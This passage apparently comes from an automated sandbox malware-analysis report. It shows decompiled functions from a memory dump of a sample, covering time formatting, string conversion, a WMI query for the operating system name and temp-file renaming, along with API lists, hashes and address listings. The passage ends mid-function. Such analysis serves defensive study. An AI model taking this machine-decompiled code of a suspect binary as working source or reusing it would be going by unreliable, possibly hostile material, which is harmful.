_swprintf.LIBCMT ref: 00CCB680
_wcslen.LIBCMT ref: 00CCB68A

Strings

%u.%03u, xrefs: 00CCB610, 00CCB674

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: 31105bcfd685500854afd3bc4a7d700378a1150d303205a7077578f62befa24f
Instruction ID: 693f9a4c53b4bd0366b595aaea3bb52205081db82e33f3c695cc78bdf56db504
Opcode Fuzzy Hash: 31105bcfd685500854afd3bc4a7d700378a1150d303205a7077578f62befa24f
Instruction Fuzzy Hash: 6D2181B2A043446BD618EFA5DC86EAF77ECEBD4310F44492EF585D3241DA30DA0997A2

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBBFB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68
timeCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00CDBBFB(void* __edi, void* __esi) {
				short _t34;
				short _t40;
				void* _t50;
				void* _t52;

				_t50 = _t52 - 0x68;
				FileTimeToSystemTime( *(_t50 + 0x70), _t50 + 0x40);
				SystemTimeToTzSpecificLocalTime(0, _t50 + 0x40, _t50 + 0x30);
				SystemTimeToFileTime(_t50 + 0x30, _t50 + 0x60);
				FileTimeToSystemTime(_t50 + 0x60, _t50 + 0x50);
				_t34 = GetDateFormatW(0x400, 0, _t50 + 0x50, 0, _t50 - 0x98, 0x32);
				if(_t34 == 0) {
					 *(_t50 - 0x98) = _t34;
				}
				_t40 = GetTimeFormatW(0x400, ( *(_t50 + 0x74) & 0x000000ff ^ 0x00000001) + ( *(_t50 + 0x74) & 0x000000ff ^ 0x00000001), _t50 + 0x50, 0, _t50 - 0x34, 0x32);
				if(_t40 == 0) {
					 *(_t50 - 0x34) = _t40;
				}
				_push(_t50 - 0x34);
				return E00CC4A00( *((intOrPtr*)(_t50 + 0x78)),  *((intOrPtr*)(_t50 + 0x7c)), L"%s %s", _t50 - 0x98);
			}

0x00cdbbfc
0x00cdbc0f
0x00cdbc20
0x00cdbc2e
0x00cdbc3c
0x00cdbc57
0x00cdbc5f
0x00cdbc61
0x00cdbc61
0x00cdbc7e
0x00cdbc88
0x00cdbc8a
0x00cdbc8a
0x00cdbc91
0x00cdbcb0

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDBC0F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00CDBC20
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CDBC2E
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDBC3C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CDBC57
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00CDBC7E
_swprintf.LIBCMT ref: 00CDBCA4

Strings

%s %s, xrefs: 00CDBC99

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: 5313a5e6e9d0495da094543a96d19599a38897e871dfa1ca61832edbb66bb8a5
Instruction ID: b1273ab194876dc56ef5e3446b072ddd8bd1c403c899d8c658200209fe923669
Opcode Fuzzy Hash: 5313a5e6e9d0495da094543a96d19599a38897e871dfa1ca61832edbb66bb8a5
Instruction Fuzzy Hash: 2B21E0B244014CABDB259FA0EC48EFF3BACFF59304F044026FA06D2121EA209A49DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CE0D20 Relevance: 13.7, APIs: 9, Instructions: 154
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00CE0D20(void* __ebx, char* __edx, char* _a4) {
				int _v8;
				signed int _v12;
				char _v20;
				short* _v28;
				signed int _v32;
				short* _v36;
				int _v40;
				int _v44;
				intOrPtr _v60;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				char _t33;
				int _t34;
				signed short _t36;
				signed short _t38;
				void* _t49;
				short* _t50;
				int _t52;
				int _t53;
				char* _t58;
				int _t59;
				void* _t60;
				char* _t61;
				intOrPtr* _t62;
				intOrPtr* _t63;
				char* _t69;
				intOrPtr _t70;
				int _t71;
				intOrPtr* _t72;
				void* _t74;
				short* _t75;
				void* _t78;
				signed int _t79;
				void* _t81;
				short* _t82;

				_t69 = __edx;
				_push(0xfffffffe);
				_push(0xcfd3a0);
				_push(E00CE38E0);
				_push( *[fs:0x0]);
				_t82 = _t81 - 0x18;
				_t30 =  *0xd007a8; // 0x763902cb
				_v12 = _v12 ^ _t30;
				_t31 = _t30 ^ _t79;
				_v32 = _t31;
				_push(__ebx);
				_push(_t75);
				_push(_t71);
				_push(_t31);
				 *[fs:0x0] =  &_v20;
				_v28 = _t82;
				_t58 = _a4;
				if(_t58 != 0) {
					_t61 = _t58;
					_t10 =  &(_t61[1]); // 0xccc420
					_t69 = _t10;
					do {
						_t33 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t33 != 0);
					_t62 = _t61 - _t69;
					_t11 = _t62 + 1; // 0xccc421
					_t34 = _t11;
					_v44 = _t34;
					if(_t34 > 0x7fffffff) {
						L17:
						E00CE0D00(0x80070057);
						goto L18;
					} else {
						_t71 = MultiByteToWideChar(0, 0, _t58, _t34, 0, 0);
						_v40 = _t71;
						if(_t71 == 0) {
							L18:
							_t36 = GetLastError();
							if(_t36 > 0) {
								_t36 = _t36 & 0x0000ffff | 0x80070000;
							}
							E00CE0D00(_t36);
							goto L21;
						} else {
							_v8 = 0;
							_t49 = _t71 + _t71;
							if(_t71 >= 0x1000) {
								_push(_t49);
								_t50 = E00CE73B6(_t62);
								_t82 =  &(_t82[2]);
								_t75 = _t50;
								_v36 = _t75;
								_v8 = 0xfffffffe;
							} else {
								E00CF3020(_t49);
								_v28 = _t82;
								_t75 = _t82;
								_v36 = _t75;
								_v8 = 0xfffffffe;
							}
							if(_t75 == 0) {
								L16:
								E00CE0D00(0x8007000e);
								goto L17;
							} else {
								_t52 = MultiByteToWideChar(0, 0, _t58, _v44, _t75, _t71);
								if(_t52 == 0) {
									L21:
									if(_t71 >= 0x1000) {
										L00CE5069(_t75);
										_t82 =  &(_t82[2]);
									}
									_t38 = GetLastError();
									if(_t38 > 0) {
										_t38 = _t38 & 0x0000ffff | 0x80070000;
									}
									E00CE0D00(_t38);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t79);
									_t70 = _v60;
									_push(_t71);
									_t72 = _t62;
									 *_t72 = 0xcf677c;
									 *((intOrPtr*)(_t72 + 4)) =  *((intOrPtr*)(_t70 + 4));
									_t63 =  *((intOrPtr*)(_t70 + 8));
									 *((intOrPtr*)(_t72 + 8)) = _t63;
									 *(_t72 + 0xc) = 0;
									if(_t63 != 0) {
										 *0xcf4278(_t63, _t75);
										 *((intOrPtr*)( *((intOrPtr*)( *_t63 + 4))))();
									}
									return _t72;
								} else {
									__imp__#2(_t75);
									_t59 = _t52;
									if(_t71 >= 0x1000) {
										L00CE5069(_t75);
										_t82 =  &(_t82[2]);
									}
									if(_t59 == 0) {
										goto L16;
									} else {
										_t53 = _t59;
										goto L2;
									}
								}
							}
						}
					}
				} else {
					_t53 = 0;
					L2:
					 *[fs:0x0] = _v20;
					_pop(_t74);
					_pop(_t78);
					_pop(_t60);
					return E00CE0BCC(_t53, _t60, _v32 ^ _t79, _t69, _t74, _t78);
				}
			}

0x00ce0d20
0x00ce0d23
0x00ce0d25
0x00ce0d2a
0x00ce0d35
0x00ce0d36
0x00ce0d39
0x00ce0d3e
0x00ce0d41
0x00ce0d43
0x00ce0d46
0x00ce0d47
0x00ce0d48
0x00ce0d49
0x00ce0d4d
0x00ce0d53
0x00ce0d56
0x00ce0d5b
0x00ce0d80
0x00ce0d82
0x00ce0d82
0x00ce0d85
0x00ce0d85
0x00ce0d87
0x00ce0d88
0x00ce0d8c
0x00ce0d8e
0x00ce0d8e
0x00ce0d91
0x00ce0d99
0x00ce0e5d
0x00ce0e62
0x00000000
0x00ce0d9f
0x00ce0daf
0x00ce0db1
0x00ce0db6
0x00ce0e67
0x00ce0e67
0x00ce0e6f
0x00ce0e74
0x00ce0e74
0x00ce0e7a
0x00000000
0x00ce0dbc
0x00ce0dbc
0x00ce0dc3
0x00ce0dcc
0x00ce0de4
0x00ce0de5
0x00ce0dea
0x00ce0ded
0x00ce0def
0x00ce0df2
0x00ce0dce
0x00ce0dce
0x00ce0dd3
0x00ce0dd6
0x00ce0dd8
0x00ce0ddb
0x00ce0ddb
0x00ce0e18
0x00ce0e53
0x00ce0e58
0x00000000
0x00ce0e1a
0x00ce0e24
0x00ce0e2c
0x00ce0e7f
0x00ce0e85
0x00ce0e88
0x00ce0e8d
0x00ce0e8d
0x00ce0e90
0x00ce0e98
0x00ce0e9d
0x00ce0e9d
0x00ce0ea3
0x00ce0ea8
0x00ce0ea9
0x00ce0eaa
0x00ce0eab
0x00ce0eac
0x00ce0ead
0x00ce0eae
0x00ce0eaf
0x00ce0eb0
0x00ce0eb3
0x00ce0eb6
0x00ce0eb7
0x00ce0eb9
0x00ce0ec2
0x00ce0ec5
0x00ce0ec8
0x00ce0ecb
0x00ce0ed4
0x00ce0edf
0x00ce0ee5
0x00ce0ee7
0x00ce0eec
0x00ce0e2e
0x00ce0e2f
0x00ce0e35
0x00ce0e3d
0x00ce0e40
0x00ce0e45
0x00ce0e45
0x00ce0e4a
0x00000000
0x00ce0e4c
0x00ce0e4c
0x00000000
0x00ce0e4c
0x00ce0e4a
0x00ce0e2c
0x00ce0e18
0x00ce0db6
0x00ce0d5d
0x00ce0d5d
0x00ce0d5f
0x00ce0d65
0x00ce0d6d
0x00ce0d6e
0x00ce0d6f
0x00ce0d7d
0x00ce0d7d

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00CCC41F,00CCC421,00000000,00000000,763902CB,00000001,00000000,00000000,00CCC30C,?,?,?,00CCC41F,ROOT\CIMV2), ref: 00CE0DA9
MultiByteToWideChar.KERNEL32(00000000,00000000,00CCC41F,?,00000000,00000000,?,?,?,?,?,00CCC41F), ref: 00CE0E24
SysAllocString.OLEAUT32(00000000), ref: 00CE0E2F
_com_issue_error.COMSUPP ref: 00CE0E58
_com_issue_error.COMSUPP ref: 00CE0E62
GetLastError.KERNEL32(80070057,763902CB,00000001,00000000,00000000,00CCC30C,?,?,?,00CCC41F,ROOT\CIMV2), ref: 00CE0E67
_com_issue_error.COMSUPP ref: 00CE0E7A
GetLastError.KERNEL32(00000000,?,00CCC41F,ROOT\CIMV2), ref: 00CE0E90
_com_issue_error.COMSUPP ref: 00CE0EA3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 230c1cb87af9b1ae6ad6b55361b0d0e4f70b4fa2abb52039c552234a36a3e153
Instruction ID: 6851d329416e9d4850fc00331c489ca692f4f888ab143f3a0f83f9af89c6a623
Opcode Fuzzy Hash: 230c1cb87af9b1ae6ad6b55361b0d0e4f70b4fa2abb52039c552234a36a3e153
Instruction Fuzzy Hash: 3D413B71A00345EBC700DFAADC45BAFBBA8EB44710F204639F515E7281C7B4A980C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 00CCC3D7 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00CCC3D7() {
				intOrPtr* _t63;
				intOrPtr* _t64;
				void* _t66;
				intOrPtr* _t67;
				signed char _t70;
				intOrPtr* _t72;
				signed char** _t75;
				signed char** _t76;
				signed char* _t77;
				intOrPtr* _t78;
				void* _t80;
				signed char _t81;
				intOrPtr* _t82;
				intOrPtr* _t85;
				signed char _t92;
				signed char _t98;
				signed char _t105;
				signed char _t108;
				signed char* _t118;
				signed char _t119;
				signed char _t127;
				signed char _t139;
				void* _t147;
				void* _t149;
				void* _t155;
				void* _t162;

				E00CDFD4C(0xcf399c, _t162);
				_push(_t162 - 0x14);
				_push(0xcf67d0);
				_t105 = 0;
				_push(1);
				_push(0);
				_push(0xcf68a0);
				 *((intOrPtr*)(_t162 - 0x14)) = 0;
				if( *0xd25188() >= 0) {
					_push(L"ROOT\\CIMV2");
					 *((intOrPtr*)(_t162 - 0x10)) = 0;
					_t63 =  *((intOrPtr*)(E00CCC2E0(_t162 - 0x20)));
					 *(_t162 - 4) = 0;
					if(_t63 == 0) {
						_t108 = 0;
					} else {
						_t108 =  *_t63;
					}
					_t64 =  *((intOrPtr*)(_t162 - 0x14));
					 *0xcf4278(_t64, _t108, _t105, _t105, _t105, _t105, _t105, _t105, _t162 - 0x10, _t147);
					_t66 =  *((intOrPtr*)( *_t64 + 0xc))();
					 *(_t162 - 4) =  *(_t162 - 4) | 0xffffffff;
					_t149 = _t66;
					_t110 =  *(_t162 - 0x20);
					if( *(_t162 - 0x20) != 0) {
						E00CCC3A9(_t110);
					}
					if(_t149 < 0) {
						L21:
						_t67 =  *((intOrPtr*)(_t162 - 0x14));
						 *0xcf4278(_t67);
						 *((intOrPtr*)( *((intOrPtr*)( *_t67 + 8))))();
						_t70 = 0;
					} else {
						_push(_t105);
						_push(_t105);
						_push(3);
						_push(3);
						_push(_t105);
						_push(_t105);
						_push(0xa);
						_push( *((intOrPtr*)(_t162 - 0x10)));
						if( *0xd25184() < 0) {
							L20:
							_t72 =  *((intOrPtr*)(_t162 - 0x10));
							 *0xcf4278(_t72);
							 *((intOrPtr*)( *((intOrPtr*)( *_t72 + 8))))();
							goto L21;
						} else {
							_push("SELECT * FROM Win32_OperatingSystem");
							 *(_t162 - 0x18) = _t105;
							_t75 = E00CCC28E(_t162 - 0x28);
							_push("WQL");
							 *(_t162 - 4) = 1;
							_t76 = E00CCC28E(_t162 - 0x20);
							_t118 =  *_t75;
							 *(_t162 - 4) = 2;
							if(_t118 == 0) {
								_t139 = _t105;
							} else {
								_t139 =  *_t118;
							}
							_t77 =  *_t76;
							if(_t77 == 0) {
								_t119 = _t105;
							} else {
								_t119 =  *_t77;
							}
							_t78 =  *((intOrPtr*)(_t162 - 0x10));
							 *0xcf4278(_t78, _t119, _t139, 0x30, _t105, _t162 - 0x18);
							_t80 =  *((intOrPtr*)( *_t78 + 0x50))();
							_t121 =  *(_t162 - 0x20);
							_t155 = _t80;
							if( *(_t162 - 0x20) != 0) {
								E00CCC3A9(_t121);
								 *(_t162 - 0x20) = _t105;
							}
							 *(_t162 - 4) =  *(_t162 - 4) | 0xffffffff;
							_t122 =  *((intOrPtr*)(_t162 - 0x28));
							if( *((intOrPtr*)(_t162 - 0x28)) != 0) {
								E00CCC3A9(_t122);
							}
							if(_t155 >= 0) {
								_t81 =  *(_t162 - 0x18);
								 *(_t162 - 0x1c) = _t105;
								 *(_t162 - 0x24) = _t105;
								if(_t81 != 0) {
									while(1) {
										 *0xcf4278(_t81, 0xffffffff, 1, _t162 - 0x1c, _t162 - 0x24);
										 *((intOrPtr*)( *_t81 + 0x10))();
										if( *(_t162 - 0x24) == 0) {
											goto L26;
										}
										_t92 =  *(_t162 - 0x1c);
										 *0xcf4278(_t92, L"Name", 0, _t162 - 0x38, 0, 0);
										 *((intOrPtr*)( *_t92 + 0x10))();
										_t105 = _t105 | E00CE32AC( *((intOrPtr*)( *_t92 + 0x10)),  *((intOrPtr*)(_t162 - 0x30)), L"Windows 10") & 0xffffff00 | _t95 != 0x00000000;
										__imp__#9(_t162 - 0x38);
										_t98 =  *(_t162 - 0x1c);
										 *0xcf4278(_t98);
										 *((intOrPtr*)( *((intOrPtr*)( *_t98 + 8))))();
										_t81 =  *(_t162 - 0x18);
										if(_t81 != 0) {
											continue;
										}
										goto L26;
									}
								}
								L26:
								_t82 =  *((intOrPtr*)(_t162 - 0x10));
								 *0xcf4278(_t82);
								 *((intOrPtr*)( *((intOrPtr*)( *_t82 + 8))))();
								_t85 =  *((intOrPtr*)(_t162 - 0x14));
								 *0xcf4278(_t85);
								 *((intOrPtr*)( *((intOrPtr*)( *_t85 + 8))))();
								_t127 =  *(_t162 - 0x18);
								 *0xcf4278(_t127);
								 *((intOrPtr*)( *((intOrPtr*)( *_t127 + 8))))();
								_t70 = _t105;
							} else {
								goto L20;
							}
						}
					}
				} else {
					_t70 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t162 - 0xc));
				return _t70;
			}

0x00ccc3dc
0x00ccc3eb
0x00ccc3ec
0x00ccc3f2
0x00ccc3f4
0x00ccc3f5
0x00ccc3f6
0x00ccc3fb
0x00ccc406
0x00ccc40f
0x00ccc417
0x00ccc41f
0x00ccc421
0x00ccc426
0x00ccc42c
0x00ccc428
0x00ccc428
0x00ccc428
0x00ccc42e
0x00ccc443
0x00ccc449
0x00ccc44c
0x00ccc450
0x00ccc452
0x00ccc457
0x00ccc459
0x00ccc459
0x00ccc460
0x00ccc50e
0x00ccc50e
0x00ccc519
0x00ccc51f
0x00ccc521
0x00ccc466
0x00ccc466
0x00ccc467
0x00ccc468
0x00ccc46a
0x00ccc46c
0x00ccc46d
0x00ccc46e
0x00ccc470
0x00ccc47b
0x00ccc4fb
0x00ccc4fb
0x00ccc506
0x00ccc50c
0x00000000
0x00ccc47d
0x00ccc47d
0x00ccc485
0x00ccc488
0x00ccc48f
0x00ccc497
0x00ccc49a
0x00ccc49f
0x00ccc4a1
0x00ccc4a7
0x00ccc4ad
0x00ccc4a9
0x00ccc4a9
0x00ccc4a9
0x00ccc4af
0x00ccc4b3
0x00ccc4b9
0x00ccc4b5
0x00ccc4b5
0x00ccc4b5
0x00ccc4bb
0x00ccc4cd
0x00ccc4d3
0x00ccc4d6
0x00ccc4d9
0x00ccc4dd
0x00ccc4df
0x00ccc4e4
0x00ccc4e4
0x00ccc4e7
0x00ccc4eb
0x00ccc4f0
0x00ccc4f2
0x00ccc4f2
0x00ccc4f9
0x00ccc528
0x00ccc52b
0x00ccc52e
0x00ccc533
0x00ccc537
0x00ccc549
0x00ccc54f
0x00ccc555
0x00000000
0x00000000
0x00ccc557
0x00ccc56c
0x00ccc572
0x00ccc588
0x00ccc58f
0x00ccc595
0x00ccc5a0
0x00ccc5a6
0x00ccc5a8
0x00ccc5ad
0x00000000
0x00000000
0x00000000
0x00ccc5ad
0x00ccc537
0x00ccc5af
0x00ccc5af
0x00ccc5ba
0x00ccc5c0
0x00ccc5c2
0x00ccc5cd
0x00ccc5d3
0x00ccc5d5
0x00ccc5e0
0x00ccc5e6
0x00ccc5e8
0x00000000
0x00000000
0x00000000
0x00ccc4f9
0x00ccc47b
0x00ccc408
0x00ccc408
0x00ccc408
0x00ccc5f0
0x00ccc5f8

APIs

__EH_prolog.LIBCMT ref: 00CCC3DC

Strings

SELECT * FROM Win32_OperatingSystem, xrefs: 00CCC47D
ROOT\CIMV2, xrefs: 00CCC40F
Windows 10, xrefs: 00CCC575
WQL, xrefs: 00CCC48F
Name, xrefs: 00CCC563

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 1bf6e47f10da60be821f90962effe2233c9b2fa994ab7ac89e6adfdbdd2ef697
Instruction ID: e5793690b763d9bda8aef51c242a539825a096005aece08fdf2b1d6714cb6c07
Opcode Fuzzy Hash: 1bf6e47f10da60be821f90962effe2233c9b2fa994ab7ac89e6adfdbdd2ef697
Instruction Fuzzy Hash: 10713B71A00219AFDB18DFA5D894EBFBBB9FF48710B14416DE516E72A0CB30AD41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CCA5C7 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00CCA5C7() {
				void* _t32;
				short _t33;
				long _t35;
				void* _t40;
				short _t42;
				void* _t66;
				intOrPtr _t69;
				void* _t76;
				intOrPtr _t79;
				void* _t81;
				WCHAR* _t82;
				void* _t84;
				void* _t86;

				E00CDFD4C(0xcf3934, _t84);
				E00CDFE20(0x5044);
				_t82 =  *(_t84 + 8);
				_t32 = _t84 - 0x4050;
				__imp__GetLongPathNameW(_t82, _t32, 0x800, _t76, _t81, _t66);
				if(_t32 == 0 || _t32 >= 0x800) {
					L20:
					_t33 = 0;
					__eflags = 0;
				} else {
					_t35 = GetShortPathNameW(_t82, _t84 - 0x5050, 0x800);
					if(_t35 == 0) {
						goto L20;
					} else {
						_t91 = _t35 - 0x800;
						if(_t35 >= 0x800) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t84 - 0x10)) = E00CCD687(_t91, _t84 - 0x4050);
							_t78 = E00CCD687(_t91, _t84 - 0x5050);
							_t69 = 0;
							if( *_t39 == 0) {
								goto L20;
							} else {
								_t40 = E00CD32E6( *((intOrPtr*)(_t84 - 0x10)), _t78);
								_t93 = _t40;
								if(_t40 == 0) {
									goto L20;
								} else {
									_t42 = E00CD32E6(E00CCD687(_t93, _t82), _t78);
									if(_t42 != 0) {
										goto L20;
									} else {
										 *(_t84 - 0x1010) = _t42;
										_t79 = 0;
										while(1) {
											_t95 = _t42;
											if(_t42 != 0) {
												break;
											}
											E00CD1908(_t84 - 0x1010, _t82, 0x800);
											E00CC4A00(E00CCD687(_t95, _t84 - 0x1010), 0x800, L"rtmp%d", _t79);
											_t86 = _t86 + 0x10;
											if(E00CCB4A1(_t84 - 0x1010) == 0) {
												_t42 =  *(_t84 - 0x1010);
											} else {
												_t42 = 0;
												 *(_t84 - 0x1010) = 0;
											}
											_t79 = _t79 + 0x7b;
											if(_t79 < 0x2710) {
												continue;
											} else {
												_t98 = _t42;
												if(_t42 == 0) {
													goto L20;
												} else {
													break;
												}
											}
											goto L21;
										}
										E00CD1908(_t84 - 0x3050, _t82, 0x800);
										_push(0x800);
										E00CCD6FD(_t98, _t84 - 0x3050,  *((intOrPtr*)(_t84 - 0x10)));
										if(MoveFileW(_t84 - 0x3050, _t84 - 0x1010) == 0) {
											goto L20;
										} else {
											E00CCA79B(_t84 - 0x2050);
											 *((intOrPtr*)(_t84 - 4)) = _t69;
											if(E00CCB4A1(_t82) == 0) {
												_t69 = E00CCA8AE(_t84 - 0x2050, _t82, 0x12);
											}
											MoveFileW(_t84 - 0x1010, _t84 - 0x3050);
											if(_t69 != 0) {
												E00CCA860(_t84 - 0x2050);
												E00CCA98E(_t84 - 0x2050);
											}
											E00CCA7DF(_t84 - 0x2050);
											_t33 = 1;
										}
									}
								}
							}
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t84 - 0xc));
				return _t33;
			}

0x00cca5cc
0x00cca5d6
0x00cca5dd
0x00cca5e0
0x00cca5ef
0x00cca5f7
0x00cca788
0x00cca788
0x00cca788
0x00cca605
0x00cca60e
0x00cca616
0x00000000
0x00cca61c
0x00cca61c
0x00cca61e
0x00000000
0x00cca624
0x00cca630
0x00cca63f
0x00cca641
0x00cca646
0x00000000
0x00cca64c
0x00cca650
0x00cca655
0x00cca657
0x00000000
0x00cca65d
0x00cca665
0x00cca66c
0x00000000
0x00cca672
0x00cca672
0x00cca679
0x00cca67b
0x00cca67b
0x00cca67e
0x00000000
0x00000000
0x00cca68d
0x00cca6aa
0x00cca6af
0x00cca6c0
0x00cca6cd
0x00cca6c2
0x00cca6c2
0x00cca6c4
0x00cca6c4
0x00cca6d4
0x00cca6dd
0x00000000
0x00cca6df
0x00cca6df
0x00cca6e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00cca6e2
0x00000000
0x00cca6dd
0x00cca6f6
0x00cca6fb
0x00cca706
0x00cca721
0x00000000
0x00cca723
0x00cca729
0x00cca72f
0x00cca739
0x00cca749
0x00cca749
0x00cca759
0x00cca761
0x00cca769
0x00cca774
0x00cca774
0x00cca77f
0x00cca784
0x00cca784
0x00cca721
0x00cca66c
0x00cca657
0x00cca646
0x00cca61e
0x00cca616
0x00cca78a
0x00cca790
0x00cca798

APIs

__EH_prolog.LIBCMT ref: 00CCA5CC
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00CCA5EF
GetShortPathNameW.KERNEL32 ref: 00CCA60E

Part of subcall function 00CCD687: _wcslen.LIBCMT ref: 00CCD68F

Part of subcall function 00CD32E6: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000132E6,00CCD503,00000000,.exe,?,?,00000800,?,?,?,00CD9E2C), ref: 00CD32FC

_swprintf.LIBCMT ref: 00CCA6AA

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

MoveFileW.KERNEL32(?,?), ref: 00CCA719
MoveFileW.KERNEL32(?,?), ref: 00CCA759

Strings

rtmp%d, xrefs: 00CCA693

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: ebeb62f83c840128f2335c0bf9da581dcdb324a8c00770de017b093f2103bb37
Instruction ID: b43a6b8e627e62af2c6aeb1f14578604b9bb1db9a75ccf87508b122980578ae9
Opcode Fuzzy Hash: ebeb62f83c840128f2335c0bf9da581dcdb324a8c00770de017b093f2103bb37
Instruction Fuzzy Hash: C8411A7190026D6ACB24ABA0CC99FEF737CBF15384F0404AAF655E2141EA349B85EF61

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2508 Relevance: 12.1, APIs: 8, Instructions: 125
timeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00CD2508(intOrPtr* __ecx, long __edx, void* __ebp, void* __eflags, signed int* _a4) {
